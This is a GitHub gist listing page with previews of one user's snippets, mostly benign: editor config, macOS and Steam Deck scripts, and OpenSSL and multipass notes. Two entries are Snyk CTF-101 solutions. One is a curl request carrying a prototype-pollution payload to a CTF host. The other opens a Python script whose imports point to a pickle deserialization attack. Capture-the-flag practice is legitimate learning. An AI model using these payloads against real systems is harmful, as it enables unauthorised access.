Skip to content

Instantly share code, notes, and snippets.

View pythoninthegrass's full-sized avatar

pythoninthegrass

View GitHub Profile
@pythoninthegrass
pythoninthegrass / config.lua
Last active April 25, 2025 19:19
Lunar Vim (lvim) config
--[[
lvim is the global options object
Linters should be
filled in as strings with either
a global executable or a path to
an executable
]]
-- THESE ARE EXAMPLE CONFIGS FEEL FREE TO CHANGE TO WHATEVER YOU WANT
@pythoninthegrass
pythoninthegrass / osascript_close_windows.sh
Last active November 1, 2022 17:11 — forked from Koze/CloseAllWindows.scpt
Close all windows with AppleScript
#!/usr/bin/env bash
# SOURCE: https://gist.github.com/Koze/2e1a9bf967b2bf865fc9
# close all windows (e.g., thousands of finder windows from unarchiver)
osascript -e 'tell application "Finder" to close windows'
## index 1 is frontmost window
# osascript 'tell application "Finder" to close window 1'
@pythoninthegrass
pythoninthegrass / convert.py
Last active November 6, 2022 18:39 — forked from aolle/convert.py
Convert Nimbus Notes HTML to Markdown for UpNote
#!/usr/bin/env python3
"""
NOTE:
Extended into a full repo at https://github.com/pythoninthegrass/convert_html_md
Any future work will be posted there.
SOURCES:
https://gist.github.com/aolle/6e595650391deef79ffb1c9bb38fb6e9
https://dev.to/kcdchennai/python-decorator-to-measure-execution-time-54hk
@pythoninthegrass
pythoninthegrass / backup-saves.service
Last active December 24, 2022 19:16
Backup local Steam Deck save files via ludusavi and rclone
# /usr/lib/systemd/system/backup-saves.service
[Unit]
Description=Run ludusavi then rsync to offsite backup
[Service]
Type=simple
ExecStart=bash /home/deck/backup_saves.sh
@pythoninthegrass
pythoninthegrass / bashprofile.py
Last active January 19, 2023 00:36
Profile .bashrc
#!/usr/bin/env python
import argparse
import io
import operator
import re
from contextlib import redirect_stderr
from pathlib import Path
"""
@pythoninthegrass
pythoninthegrass / openssl_commands.md
Created January 20, 2023 21:13 — forked from Hakky54/openssl_commands.md
Some list of openssl commands for check and verify your keys

OpenSSL 🔐

Install

Install the OpenSSL on Debian based systems

sudo apt-get install openssl
@pythoninthegrass
pythoninthegrass / README.md
Last active February 28, 2023 21:13 — forked from nordineb/readme.MD
multipass + qemu on macOS

multipass + qemu on macOS

Multipass can launch and run virtual machines and configure them with cloud-init like a public cloud

Usage

brew install multipass libvirt
brew services start libvirt
multipass set local.passphrase=<foo>    # `multipass set local.passphrase` avoids stdout creds
multipass authenticate
multipass get local.driver
@pythoninthegrass
pythoninthegrass / solution.sh
Created March 31, 2023 04:24
Snyk CTF-101: invisible-ink
# invisible-ink
curl -H "Content-Type: application/json" -X POST -d '{"about": {"__proto__": {"flag": "true"}}}' http://invisible-ink.c.ctf-snyk.io/echo
@pythoninthegrass
pythoninthegrass / solution.py
Created March 31, 2023 04:27
Snyk CTF-101: sauerkraut
#!/usr/bin/env python3
# fmt: off
import asyncio
import atexit
import base64
import pickle
import subprocess
import sys
import requests